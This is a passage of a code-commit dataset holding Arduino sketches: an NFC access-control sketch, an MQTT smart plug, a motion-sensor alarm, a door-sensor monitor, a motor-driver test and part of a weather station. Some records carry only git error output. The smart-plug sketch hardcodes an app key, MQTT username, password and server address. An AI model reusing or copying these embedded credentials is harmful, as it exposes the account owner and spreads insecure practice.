HIGH);\n}\n\n\/*\n* Notify a fail\n*\/\nvoid fail() {\n\n Serial.println(\"ACCESO DENEGADO\");\n\n digitalWrite(redLed, LOW);\n digitalWrite(buzzer, LOW);\n delay(100);\n digitalWrite(redLed, HIGH);\n digitalWrite(buzzer, HIGH);\n\n delay (75);\n\n digitalWrite(redLed, LOW);\n digitalWrite(buzzer, LOW);\n delay(100);\n digitalWrite(redLed, HIGH);\n digitalWrite(buzzer, HIGH);\n\n delay (75);\n\n digitalWrite(redLed, LOW);\n digitalWrite(buzzer, LOW);\n delay(100);\n digitalWrite(redLed, HIGH);\n digitalWrite(buzzer, HIGH);\n\n}\n\nvoid mode_learning_feedback() {\n\n if (millis () - learningMillis > 0 && millis() - learningMillis < 250) {\n digitalWrite(greenLed, LOW);\n digitalWrite(redLed, HIGH);\n }\n\n if (millis () - learningMillis > 250 && millis() - learningMillis < 500) {\n digitalWrite(greenLed, LOW);\n digitalWrite(redLed, LOW);\n }\n\n if (millis() - learningMillis > 500) {\n learningMillis = millis();\n }\n}\n\nvoid mode_learning() {\n\n pw = 0; \/\/ Puntero a la EEPROM para escribir\n i = 0; \/\/ \u00cdndice de bucle\n\n if (readID(&puid_conf) > 0) { \/\/ Se vuelve a leer para confirmar\n if (!strncmp(uid_add, uid_conf, 8)) { \/\/ Si coincide se calcula el MD5\n\n pw = (id_count * 32 ) + 1 ;\n id_count++;\n EEPROM.write(0, id_count);\n\n for (i = 0 ; i < 32 ; i++) { \/\/ Se almacena el MD5 en EEPROM\n EEPROM.write(pw, md5str[i]); pw++;\n }\n\n Serial.println(\"A\u00f1adido TAG:\");\n Serial.print(\"UID: \"); Serial.print(uid_conf);\n Serial.println(\"\");\n Serial.print(\"MD5: \"); Serial.print(md5str);\n Serial.println(\"\");\n digitalWrite(redLed, HIGH);\n digitalWrite(greenLed, LOW);\n digitalWrite(buzzer, LOW);\n delay(500);\n } else { \/\/ Si no coincide se cancela la operaci\u00f3n\n Serial.println(\"Operaci\u00f3n cancelada\");\n digitalWrite(redLed, LOW);\n digitalWrite(greenLed, HIGH);\n digitalWrite(buzzer, LOW);\n delay(500);\n }\n mode = INIT_NORMAL;\n }\n}\n\nvoid init_master() {\n\n pr = 0; \/\/ Puntero a la EEPROM para leer\n pw = 0; \/\/ Puntero a la EEPROM para escribir\n i = 0; \/\/ \u00cdndice de bucle\n j = 0; \/\/ \u00cdndice de bucle\n\n char *id = (char *) calloc(33, sizeof(char)); \/\/ MD5 del TAG a almacenar\n\n Serial.println(\"MODO MASTER\");\n Serial.println(\"\");\n\n \/\/ El primer byte de la EEPROM indica el n\u00famero de claves autorizadas.\n id_count = EEPROM.read(pr); pr++;\n\n Serial.print(\"Hay \"); Serial.print(id_count); Serial.print(\" IDs autorizadas.\");\n Serial.println(\"\");\n\n for (j = 0 ; j < id_count ; j++) {\n for (i = 0 ; i < 32 ; i++) {\n id[i] = EEPROM.read(pr); pr++;\n }\n id[32] = '\\0';\n Serial.print(\"MD5: \"); Serial.print(id);\n Serial.println(\"\");\n }\n\n}\n\nvoid mode_master_feedback() {\n\n if (millis () - learningMillis > 0 && millis() - learningMillis < 250) {\n digitalWrite(greenLed, HIGH);\n digitalWrite(redLed, HIGH);\n }\n\n if (millis () - learningMillis > 250 && millis() - learningMillis < 500) {\n digitalWrite(greenLed, LOW);\n digitalWrite(redLed, LOW);\n }\n\n if (millis() - learningMillis > 500) {\n learningMillis = millis();\n }\n}\n\nvoid mode_master() {\n\n if (readID(&puid_add) > 0) { \/\/ Se lee el TAG por primera vez\n\n hash = MD5::make_hash(uid_add);\n md5str = MD5::make_digest(hash, 16);\n\n if (!strcmp(md5str, MASTER_TAG)) { \/\/ Si es el MASTER TAG se prepara para borrar EEPROM\n\n \/\/ Master TAG: Limpieza de EEPROM\n mode = INIT_CLEAR;\n\n } else {\n\n \/\/ TAG normal, se a\u00f1ade a la lista de TAGs autorizados\n\n if (id_count < 16) {\n Serial.print(\"Le\u00eddo: \"); Serial.println(uid_add);\n Serial.println(\"Vuelve a colocarlo para a\u00f1adir este TAG.\");\n mode = INIT_LEARNING; \/\/ Modo aprendizaje\n } else {\n Serial.println(\"\u1e3e\u00e1ximo n\u00famero de IDs alcanzado.\");\n mode = INIT_NORMAL; \/\/ Vuelve a modo normal\n }\n }\n }\n}\n\nvoid init_clear() {\n Serial.println(\"Vuelve a colocar el MASTER TAG para borrar todos los TAGs\");\n}\n\nvoid mode_clear_feedback() {\n\n if (millis () - learningMillis > 0 && millis() - learningMillis < 500) {\n digitalWrite(greenLed, HIGH);\n digitalWrite(redLed, HIGH);\n }\n\n if (millis () - learningMillis > 500 && millis() - learningMillis < 1000) {\n digitalWrite(greenLed, HIGH);\n digitalWrite(redLed, LOW);\n }\n\n if (millis() - learningMillis > 1000) {\n learningMillis = millis();\n }\n}\n\nvoid mode_clear() {\n\n if (readID(&puid_conf) > 0) { \/\/ Se vuelve a leer para confirmar\n if (!strncmp(uid_add, uid_conf, 8)) { \/\/ Limpiamos EEPROM\n Serial.println(\"Limpiando EEPROM...\");\n\n for (int i = 0; i < 512; i++)\n EEPROM.write(i, 0);\n\n Serial.println(\"\u00a1EEPROM Borrada!\");\n mode = INIT_NORMAL;\n } else {\n Serial.println(\"Operaci\u00f3n cancelada\");\n mode = INIT_NORMAL;\n }\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'nfc_access_control.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f717fa4ec5af92e4fcdf4c793dbb6a24bba2a00d","subject":"Major bug fixes, LED","message":"Major bug fixes, LED\n","repos":"MichalMares\/Ardularm,MichalMares\/Ardularm,MichalMares\/Ardularm,MichalMares\/Ardularm,MichalMares\/Ardularm,MichalMares\/Ardularm","old_file":"Ardularm.ino","new_file":"Ardularm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/MichalMares\/Ardularm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8065c6289e492d26608f1e403412f2a7c88c635e","subject":"Removed unnecessary code and added new comments","message":"Removed unnecessary code and added new comments\n\nSome of the code in this sketch was not necessary for this GET request example. I have removed it. Thank you to Arduino SbS student Amalia Chr for spotting this.","repos":"futureshocked\/arduino_sbs,billdwp\/arduino_sbs,futureshocked\/arduino_sbs,iNNPL\/arduino_sbs,merbok\/arduino_sbs,iNNPL\/arduino_sbs,futureshocked\/arduino_sbs,billdwp\/arduino_sbs,merbok\/arduino_sbs","old_file":"Web motor control\/webMotorControl_using_GET\/webMotorControl_using_GET.ino","new_file":"Web motor control\/webMotorControl_using_GET\/webMotorControl_using_GET.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Web' did not match any file(s) known to git\nerror: pathspec 'motor' did not match any file(s) known to git\nerror: pathspec 'control\/webMotorControl_using_GET\/webMotorControl_using_GET.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c88378972b35f48de745fa17de437b07597587a2","subject":"add \u0083\u0096sketch_plug_mini","message":"add \u0083\u0096sketch_plug_mini\n","repos":"yunbademo\/yunba-smartoffice,yunbademo\/yunba-smartoffice,yunbademo\/yunba-smartoffice,yunbademo\/yunba-smartoffice","old_file":"arduino\/sketch_plug_mini\/sketch_plug_mini.ino","new_file":"arduino\/sketch_plug_mini\/sketch_plug_mini.ino","new_contents":"#include <Ethernet.h>\n#include <ArduinoJson.h>\n#include <MQTTClient.h>\n\n#define BUFSIZE 128\n#define JSON_BUFSIZE 128\n\n\/\/#define PIN_NET_STATUS 8\n#define PIN_PLUG_CONTROL 9\n\nconst char *g_appkey = \"563c4afef085fc471efdf803\";\nconst char *g_topic = \"yunba_smart_plug\";\nconst char *g_devid = \"plc_0\";\n\nbool g_net_status = false;\n\nchar *g_addr = \"182.92.106.18\";\nuint16_t g_port = 1883;\n\nunsigned long g_last_check_ms = 0;\nchar *g_client_id = \"0000002823-000000057760\";\nchar *g_username = \"2886481985262254976\";\nchar *g_password = \"13ddd9f3df8f1\";\nbool g_need_report = true;\n\nunsigned long g_connected_ms = 0;\n\nEthernetClient *g_net_client;\nMQTTClient *g_mqtt_client;\n\nuint8_t g_plug_status = 0;\n\nvoid (*reset)(void) = 0;\n\nuint8_t g_retry_cnt = 0;\n\nvoid retry_or_reset(uint8_t try_cnt) {\n if (g_retry_cnt >= try_cnt) {\n reset();\n } else {\n ++g_retry_cnt;\n }\n}\n\nvoid check_connect() {\n if (millis() - g_last_check_ms > 10000) {\n bool st = g_mqtt_client->connected();\n Serial.print(\"cs:\");\n Serial.println(st);\n\n if (st != g_net_status) {\n g_net_status = st;\n }\n\n if (!st) {\n reset();\n\/\/ digitalWrite(PIN_NET_STATUS, LOW);\n delete g_mqtt_client;\n delete g_net_client;\n\n init_ethernet();\n init_yunba();\n connect_yunba();\n }\n g_last_check_ms = millis();\n }\n}\n\nvoid set_plug_status(uint8_t status) {\n if (status != 0)\n status = 1;\n\n if (g_plug_status == status)\n return;\n\n g_plug_status = status;\n if (status == 0) {\n Serial.println(0);\n digitalWrite(PIN_PLUG_CONTROL, LOW);\n } else {\n Serial.println(1);\n digitalWrite(PIN_PLUG_CONTROL, HIGH);\n }\n g_need_report = true;\n}\n\nvoid report_status() {\n uint8_t buf[BUFSIZE];\n\n snprintf((char *)buf, BUFSIZE, \"{\\\"status\\\":%d,\\\"devid\\\":\\\"%s\\\"}\", g_plug_status, g_devid);\n Serial.println((char *)buf);\n g_mqtt_client->publish(g_topic, (char *)buf);\n}\n\nvoid messageReceived(String topic, String payload, char *bytes, unsigned int length) {\n #if 1\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n\n bytes[length] = 0;\n Serial.println(bytes);\n\n if (millis() - g_connected_ms < 5000) { \/\/ discard wrong offline message...\n Serial.println(\"ds\");\n return;\n }\n\n JsonObject& root = jsonBuffer.parseObject(bytes);\n if (!root.success()) {\n Serial.println(\"js\");\n return;\n }\n\n if (strcmp(root[\"devid\"], g_devid) != 0) {\n Serial.println(\"dv\");\n return;\n }\n\n if (strcmp(root[\"cmd\"], \"plug_set\") == 0) {\n uint8_t st = root[\"status\"];\n set_plug_status(st);\n } else if (strcmp(root[\"cmd\"], \"plug_get\") == 0) {\n report_status();\n }\n #endif\n}\n\nvoid extMessageReceived(EXTED_CMD cmd, int status, String payload, unsigned int length) {\n Serial.println(\"em\");\n Serial.println(cmd);\n}\n\nvoid init_ethernet() {\n uint8_t mac[] = {0xb0, 0x5a, 0xda, 0x3a, 0x2e, 0x9f};\n\n Serial.println(\"ie..\"); \/\/ init ethernet\n g_retry_cnt = 0;\n while (!Ethernet.begin(mac)) {\n Serial.println(\"..\");\n delay(100);\n retry_or_reset(0);\n }\n\n Serial.print(\"i:\");\n Serial.println(Ethernet.localIP());\n#if 0\n Serial.print(\"s:\");\n Serial.println(Ethernet.subnetMask());\n Serial.print(\"g:\");\n Serial.println(Ethernet.gatewayIP());\n Serial.print(\"d:\");\n Serial.println(Ethernet.dnsServerIP());\n#endif\n}\n\nvoid init_yunba() {\n g_net_client = new EthernetClient();\n g_mqtt_client = new MQTTClient();\n g_mqtt_client->begin(g_addr, g_port, *g_net_client);\n}\n\nvoid connect_yunba() {\n Serial.println(\"cn..\"); \/\/ connecting\n\n g_retry_cnt = 0;\n while (!g_mqtt_client->connect(g_client_id, g_username, g_password)) {\n Serial.println(\"..\");\n delay(100);\n retry_or_reset(5);\n }\n\n g_last_check_ms = millis();\n Serial.println(\"co\"); \/\/ connect ok\n\n\/\/ g_mqtt_client->subscribe(g_topic);\n g_mqtt_client->publish(\",yali\", g_devid); \/\/ set alias\n\n g_connected_ms = millis();\n\/\/ digitalWrite(PIN_NET_STATUS, HIGH);\n}\n\nvoid setup() {\n\n Serial.begin(57600);\n Serial.println(\"st..\"); \/\/ setup\n\n\/\/ pinMode(PIN_NET_STATUS, OUTPUT);\n\/\/ digitalWrite(PIN_NET_STATUS, LOW);\n\n pinMode(PIN_PLUG_CONTROL, OUTPUT);\n digitalWrite(PIN_PLUG_CONTROL, LOW);\n\n init_ethernet();\n\n init_yunba();\n connect_yunba();\n\n Serial.println(\"so\"); \/\/ init ok\n}\n\nvoid loop() {\n g_mqtt_client->loop();\n\n check_connect();\n\n if (g_need_report) {\n report_status();\n g_need_report = false;\n }\n\n\/\/ Ethernet.maintain();\n\n\/\/ delay(100);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/sketch_plug_mini\/sketch_plug_mini.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c09c4774ccc0613b27f2d3cf3c3c28f229eb6659","subject":"Init","message":"Init\n\nInitial code for detecter\n","repos":"Hubert51\/ROOMr","old_file":"test_motion_sensor.ino","new_file":"test_motion_sensor.ino","new_contents":"\/*\nArduino Motion Sensor Burglar Alarm Project\nby Arvind Sanjeev\nPlease check out http:\/\/diyhacking.com for the tutorial of this project.\nDIY Hacking\n*\/\n\n\nint speakerOut = 9;\/\/Piezo buzzer's positive terminal is connected to digital pin 9 \nbyte names[] = {'c', 'd', 'e', 'f', 'g', 'a', 'b', 'C'}; \nint tones[] = {1915, 1700, 1519, 1432, 1275, 1136, 1014, 956};\nbyte melody[] = \"2d2a1f2c2d2a2d2c2f2d2a2c2d2a1f2c2d2a2a2g2p8p8p8p\";\n\/\/ count length: 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0\n\/\/ 10 20 30\nint count = 0;\nint count2 = 0;\nint count3 = 0;\nint MAX_COUNT = 24;\nint statePin = LOW;\nvoid siren();\n\n volatile byte intruder;\n void setup()\n {\n Serial.begin(115200);\n attachInterrupt(0, intruder_detect, RISING);\/\/Initialize the intterrupt pin for the motion sensor (Arduino digital pin 2)\n intruder = 0;\n }\n void loop()\n {\n \n }\n void intruder_detect()\/\/This function is called whenever an intruder is detected by the arduino\n {\n intruder++;\n Serial.println(\"Intruder detected\");\n for(int i=0; i<3; i++)\/\/Play the alarm three times\n siren();\n }\n void siren()\/\/This function will make the alarm sound using the piezo buzzer\n{\nfor (count = 0; count < MAX_COUNT; count++) {\n \/\/for (count3 = 0; count3 <= (melody[count*2] - 48) * 30; count3++) {\n \/\/for (count2=0;count2<8;count2++) {\n \/\/if (names[count2] == melody[count*2 + 1]) { \n analogWrite(speakerOut,1023);\n delayMicroseconds(tones[count2]);\n analogWrite(speakerOut, 0);\n delayMicroseconds(tones[count2]);\n \/\/} \n \/\/if (melody[count*2 + 1] == 'p') {\n \/\/ make a pause of a certain size\n \/\/analogWrite(speakerOut, 0);\n \/\/delayMicroseconds(100);\n \/\/}\n }\n }\n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"6406da5dda932c6e6e55c0690cce557749115c2d","subject":"Adds Arduino code","message":"Adds Arduino code\n","repos":"cannikin\/lockdown,cannikin\/lockdown","old_file":"lockdown.ino","new_file":"lockdown.ino","new_contents":"const int EGRESS = 0;\nconst int MOTION = 1;\nconst int TRIP = 2;\nconst int CLOSED = 0;\nconst int OPEN = 1;\nconst String TYPES[] = { \"egress\", \"motion\", \"trip\" };\nString incoming = \"\";\n \n\/\/ All sensor states\nint states[54];\nint lastStates[54];\n\nvoid setup() {\n \/\/start serial connection\n Serial.begin(57600);\n \/\/configure pin2 as an input and enable the internal pull-up resistor\n for (int i=22; i<54; i++) {\n pinMode(i, INPUT_PULLUP);\n states[i] = lastStates[i] = digitalRead(i);\n }\n pinMode(13, OUTPUT); \n pinMode(2, INPUT);\n}\n\nvoid loop() {\n incoming = \"\";\n byte incomingByte;\n \n while (Serial.available() > 0) {\n incomingByte = Serial.read();\n \n if (incomingByte != 13 && incomingByte != 10) {\n incoming += char(incomingByte);\n }\n \n delay(10);\n }\n \n if (incoming != \"\") {\n \/\/ Serial.print(incoming);\n if (incoming == \"{\\\"message\\\":\\\"status\\\"}\") {\n status();\n } else { \n error(\"unknown message\");\n }\n }\n \n for (int i=22; i<54; i++) {\n \/\/read the pushbutton value into a variable\n states[i] = digitalRead(i);\n \n \/\/print out the value of the pushbutton\n if (states[i] != lastStates[i]) {\n outputState(i, EGRESS);\n lastStates[i] = states[i];\n }\n }\n \n digitalWrite(13, digitalRead(22));\n} \n\nvoid outputState(int i, int type) {\n Serial.print(\"{\\\"type\\\":\\\"\");\n Serial.print(TYPES[type]);\n Serial.print(\"\\\",\\\"id\\\":\");\n Serial.print(i);\n Serial.print(\",\\\"state\\\":\");\n Serial.print(states[i]);\n Serial.print(\",\\\"millis\\\":\");\n Serial.print(millis());\n Serial.println(\"}\");\n}\n\n\n\/\/ Return status all inputs\nvoid status() {\n for (int i=22; i<54; i++) {\n outputState(i, EGRESS);\n }\n}\n\n\n\/\/ Return an error messagse\nvoid error(String message) {\n Serial.print(\"{\\\"error\\\":\\\"\");\n Serial.print(message);\n Serial.println(\"\\\"}\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lockdown.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"50ac232a9bbc0ff7a227528b2bb20635a598d752","subject":"Initial commit","message":"Initial commit\n","repos":"AllenRDCo\/Arduino","old_file":"L9110_hbridge\/sketch_L9110_test\/sketch_L9110_test.ino","new_file":"L9110_hbridge\/sketch_L9110_test\/sketch_L9110_test.ino","new_contents":"\/\/ Test sketch for L9110 H-Bridge controller\n\/\/\n\/\/ Voltage: 2.5V-12V\n\/\/ Max Continuous Current: 800 mA\n\/\/\n\/\/ Logic diagram:\n\/\/ ______________\n\/\/ |IA|IB||OA|OB|\n\/\/ |--|--||--|--|\n\/\/ |H |L || H| L|\n\/\/ |--|--||--|--|\n\/\/ |L |H || L| H|\n\/\/ |--|--||--|--|\n\/\/ |L |L || L| L|\n\/\/ |--|--||--|--|\n\/\/ |H |H || L| L|\n\/\/ |------------|\n\n\/\/ Pin assignment\n\/\/ motor A\nint dirPinA = 7; \/\/ Hook to A-IA - Controls direction for motor A, high = forward, low = reverse\nint speedPinA = 9; \/\/ Hook to A-IB - Controls speed for motor A (PWM)\n\/\/ motor B\nint dirPinB = 8; \/\/ Hook to B-IA - Controls direction for motor B, high = forward, low = reverse\nint speedPinB = 10; \/\/ Hook to B-IB - Controls speed for motor B (PWM)\n\n\/\/ Setup variables\nunsigned long time;\n\nint speed;\nint dir;\n\n\/\/ Setup the pins\nvoid setup() {\n pinMode(dirPinA, OUTPUT);\n pinMode(speedPinA, OUTPUT);\n \n pinMode(dirPinB, OUTPUT);\n pinMode(speedPinB, OUTPUT);\n \n time = millis(); \/\/ Set variable \"time\" to current # of milliseconds since program started\n speed = 0; \/\/ Set speed to zero\n dir = 1; \/\/Set variable \"dir\" to 1 (forward)\n}\n\n\/\/ Loop for testing motors\/controller\nvoid loop () {\n \n \/\/set speed\n analogWrite(speedPinA, speed);\n analogWrite(speedPinB, speed);\n \/\/set direction\n if (1 == dir) {\n digitalWrite(dirPinA, HIGH); \/\/ Go forward\n digitalWrite(dirPinB, HIGH);\n } else {\n digitalWrite(dirPinA, LOW); \/\/ Go backward\n digitalWrite(dirPinB, LOW);\n }\n\n \/\/ Change speed and direction every 5 seconds\n if (millis() - time > 5000) {\n time = millis(); \/\/ Set \"time\" to current millis() value\n speed += 20; \/\/ Increment speed by 20\n if (speed > 255) {\n speed = 0; \/\/ If speed has gone over 255, set back to zero, otherwise continue\n }\n \n \/\/ Cycle direction\n if (1 == dir) {\n dir = 0;\n } else {\n dir = 1;\n }\n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"c2f1b738584c9f113a6c0ac333bcf06f19828a06","subject":"the soil sensor was moved to separated project: soilSensor","message":"the soil sensor was moved to separated project: soilSensor\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/msensors\/wmys01\/wmys01.ino","new_file":"modules\/msensors\/wmys01\/wmys01.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"dcdb4dc34db1564da87b2ec3cd90a074dd1eab35","subject":"UpTime update display","message":"UpTime update display\n","repos":"totothekiller\/weather-station,totothekiller\/weather-station","old_file":"MainStation\/MainStation.ino","new_file":"MainStation\/MainStation.ino","new_contents":"\/\/\n\/\/ Display Temp\n\/\/\n\n\/\/ Use Library from :\n\/\/ Adafruit BMP085 https:\/\/github.com\/adafruit\/Adafruit_BMP085_Unified\n\/\/ Adafruit Sensor https:\/\/github.com\/adafruit\/Adafruit_Sensor\n\/\/ LCD : https:\/\/bitbucket.org\/fmalpartida\/new-liquidcrystal\/wiki\/Home\n\/\/ Touch Sensor : https:\/\/github.com\/arduino-libraries\/CapacitiveSensor\n\/\/ Ethercard : https:\/\/github.com\/jcw\/ethercard\n\n#include <VirtualWire.h>\n#include <Wire.h>\n#include <LCD.h>\n#include <LiquidCrystal_I2C.h>\n#include <CapacitiveSensor.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_BMP085.h>\n#include <EtherCard.h>\n#include <avr\/wdt.h>\n\n\/\/ LCD I2C Adress\n#define I2C_ADDR 0x27\n\n\/\/ LCD Static Config\n#define BACKLIGHT_PIN 3\n#define En_pin 2\n#define Rw_pin 1\n#define Rs_pin 0\n#define D4_pin 4\n#define D5_pin 5\n#define D6_pin 6\n#define D7_pin 7\n\n#define BACKLIGHT_DURATION 20000\n\n\/\/ Pin Configuration\n#define rxLed 6\n#define rxPin 7\n#define touchCommonPin 2\n#define touchSensPin 4\n\n\/\/ Touch sensibility\n#define TOUCH_SENSIBILITY 100\n\n\/\/ Contact De-Bouncing\n#define TOUCH_DEBOUNCING 250\n\n\/\/ Main sensor update\n#define MAIN_SENSOR_UPDATE 60000\n\n\/\/ Timeout for HTTP Request\n#define HTTP_TIMEOUT 1000\n\n\/\/ Touched\nCapacitiveSensor _touch = CapacitiveSensor(touchCommonPin,touchSensPin); \n\n\/\/ Athmospheric Sensor \nAdafruit_BMP085 _mainSensor = Adafruit_BMP085();\n\n\/\/ MAC Address\nstatic byte _mymac[] = {0x74, 0x69, 0x69, 0x2D, 0x30, 0x31 };\n\n\/\/ remote website ip address and port\nstatic byte _ttkserver[] = { 192, 168, 0, 1 };\n\n\/\/ Arduino IP\nstatic byte _arduinoIP[] = { 192, 168, 0, 42 };\n\n\/\/ gateway ip address\nstatic byte _gwip[] = { 192, 168, 0, 254 };\n\n\/\/ Main Ethernet Buffer\nbyte Ethernet::buffer[300];\n\n\/\/ Page to display to user\nchar _indexHTML[] PROGMEM =\n \"HTTP\/1.0 200 OK\\r\\n\"\n \"Content-Type: text\/html\\r\\n\"\n \"\\r\\n\"\n \"<html>\"\n \"<head><title>\"\n \"--- TTK Weather Station ---\"\n \"<\/title><\/head>\"\n \"<body>\"\n \"<h3>I am the Weather Station<\/h3>\"\n \"<p>Uptime is $D$D:$D$D:$D$D<\/p>\"\n \"<\/body>\"\n \"<\/html>\"\n;\n\n\/\/ Sensor Defintion\ntypedef struct SensorStruct {\n char * name; \n uint8_t id; \/\/ Sensor ID\n float value; \n char * unit; \/\/ Unit\n} SensorDefinition;\n\n\/\/ Rendering\ntypedef struct RenderStruct {\n LiquidCrystal_I2C lcd; \/\/ LCD\n byte currentSensor; \/\/ Current sensor to display\n byte tick; \/\/ Used for transition\n volatile bool paint; \/\/ paint is in progress ?\n} RenderDefinition;\n\n\/\/ Sensor RX Data\ntypedef struct RxSensorDataStruct {\n byte id; \/\/ size 1\n float value; \/\/ size 4\n} RxSensorDataDefinition;\n\ntypedef union RxSensorRawDataStruc{\n RxSensorDataDefinition decoded;\n uint8_t raw[5]; \/\/ total size of 5 bytes\n} RxSensorRawDataDefinition;\n\n\/\/ RX Message\ntypedef struct ReceiverStruct {\n uint8_t stream[VW_MAX_MESSAGE_LEN]; \/\/ Raw Rx Stream\n RxSensorRawDataDefinition value; \/\/ Decoded Value\n} ReceiverDefinition;\n\n\/\/ Ethernet Structure\ntypedef struct EthernetStruct {\n BufferFiller buffer; \/\/ used as cursor while filling the buffer\n char url[15]; \/\/ HTTP dynamic URL\n volatile boolean isHttpRequest; \/\/ true during HTTP request\n} EthernetDefinition;\n\n\/\/ Main Application Structure\ntypedef struct ApplicationStruct {\n byte nbrSensors;\n SensorDefinition sensors[3]; \/\/ Sensors Definition\n RenderDefinition render; \/\/ LCD rendering\n ReceiverDefinition rx; \/\/ RX receiver\n EthernetDefinition eth; \/\/ Ethernet\n unsigned long lastTouched; \/\/ Last Touched time\n unsigned long lastMainSensorUpdated; \/\/ Last time that the main sensor was updated\n} ApplicationDefinition;\n\n\/\/ Static Definition\nstatic ApplicationDefinition _app = {\n 3, \/\/ Total number of sensors\n \/\/ Sensors\n {\n \/\/ Sensor #1\n {\n \"Inside Temp\",\n 1, \/\/ Sensor ID\n -99.0, \/\/ Initial Value\n \"C\"\n },\n \/\/ Sensor #2\n {\n \"Outside Temp\",\n 42, \/\/ Sensor ID\n -99.0, \/\/ Initial Value\n \"C\"\n },\n \/\/ Sensor #3\n {\n \"Pressure\",\n 2, \/\/ Sensor ID\n -99.0, \/\/ Initial Value\n \"hPa\"\n }\n },\n \/\/ Render\n {\n LiquidCrystal_I2C(I2C_ADDR,En_pin,Rw_pin,Rs_pin,D4_pin,D5_pin,D6_pin,D7_pin),\n 0,\n 0,\n true \/\/ force paint\n },\n \n \/\/ RX Reveiver\n {\n \/\/ Init array with 0\n },\n \/\/ omit other fields -> init to 0\n};\n\n\nvoid setup() {\n \/\/\n \/\/ First Activate Watchdog\n wdt_enable(WDTO_8S); \/\/ 8 sec\n \n \/\/ Led Setup\n pinMode(rxLed, OUTPUT);\n\n \/\/ Debug\n Serial.begin(57600);\n Serial.println(F(\"--- TTK Weather Station ---\"));\n \n \/\/ Set Up RX\n vw_set_rx_pin(rxPin);\n vw_setup(2000);\n\n \/\/ Set Up LCD\n _app.render.lcd.begin (16,2); \/\/ 16x2 LCD\n _app.render.lcd.setBacklightPin(BACKLIGHT_PIN,POSITIVE);\n _app.render.lcd.setBacklight(HIGH);\n _app.render.lcd.clear();\n _app.render.lcd.print(F(\"--- Welcome ---\"));\n\n \/\/ Start the receiver\n vw_rx_start();\n\n \/\/ Initialise \n if(!_mainSensor.begin())\n {\n \/* There was a problem detecting the BMP085 ... check your connections *\/\n Serial.print(F(\"Ooops, no BMP085 detected ...\"));\n }\n\n \/\/ \n \/\/ Setup Ethernet\n if (ether.begin(sizeof Ethernet::buffer, _mymac) == 0)\n {\n Serial.println(F(\"Failed to access Ethernet controller\"));\n }\n \n Serial.println(F(\"Setting up static IP\"));\n\n \/\/ Static IP\n ether.staticSetup(_arduinoIP,_gwip);\n\n ether.printIp(F(\"My IP: \"), ether.myip);\n \/\/ether.printIp(F(\"Netmask: \"), ether.mymask);\n ether.printIp(F(\"GW IP: \"), ether.gwip);\n \/\/ether.printIp(F(\"DNS IP: \"), ether.dnsip);\n \n \/\/ Set Up destination IP\n ether.copyIp(ether.hisip, _ttkserver);\n ether.printIp(F(\"Destination Server: \"), ether.hisip);\n \n \/\/ Register Ping Callback\n ether.registerPingCallback(pingCallback);\n \n \/\/ No Request Yet\n _app.eth.isHttpRequest = false;\n \n \/\/ Display Free RAM\n displayFreeRam();\n}\n\nvoid loop() {\n \n \/\/ Restart Watchdog\n wdt_reset();\n \n \/\/ Detech user touch\n detectTouch();\n\n \/\/ Check RX\n checkIncomingData();\n \n \/\/ Check Ethernet\n checkEthernet();\n\n \/\/ Update Local Sensor\n updateLocalSensors();\n\n \/\/ Paint\n render();\n\n \/\/ Wait some time\n \/\/delay(20);\n\n}\n\n\n\/\/\n\/\/ Touched Detection\n\/\/\nvoid detectTouch()\n{\n \/\/ Turn the ligth ?\n long touched = _touch.capacitiveSensor(30);\n\n unsigned long currentTime = millis();\n\n if(touched >= TOUCH_SENSIBILITY && currentTime - _app.lastTouched > TOUCH_DEBOUNCING)\n {\n Serial.print(F(\"!! Touched !! with sensibility of \"));Serial.println(touched); \n\n _app.lastTouched = currentTime;\n\n \/\/ Handle Event\n onTouchEvent();\n }\n else if( currentTime - _app.lastTouched > BACKLIGHT_DURATION)\n {\n \/\/ Backlight off\n _app.render.lcd.setBacklight(LOW); \n }\n}\n\n\n\/\/\n\/\/ Handle touch Event\n\/\/\nvoid onTouchEvent()\n{\n \/\/ Backlight on\n _app.render.lcd.setBacklight(HIGH);\n\n \/\/ Display next sensor\n selectNextSensor();\n}\n\n\n\/\/\n\/\/ LCD Render function\n\/\/\nvoid render()\n{\n \/\/ TODO annimation ?\n\n \/\/ Paint ?\n if(_app.render.paint)\n {\n Serial.print(F(\"Repaint sensor #\"));Serial.println(_app.render.currentSensor);\n\n _app.render.lcd.clear();\n _app.render.lcd.print(_app.sensors[_app.render.currentSensor].name);\n _app.render.lcd.setCursor (0,1); \/\/ go to start of 2nd line\n _app.render.lcd.print(_app.sensors[_app.render.currentSensor].value);\n _app.render.lcd.print(' ');\n _app.render.lcd.print(_app.sensors[_app.render.currentSensor].unit);\n\n \/\/ End of Paint\n _app.render.paint = false;\n }\n\n\n \/\/ Increment\n _app.render.tick++;\n}\n\n 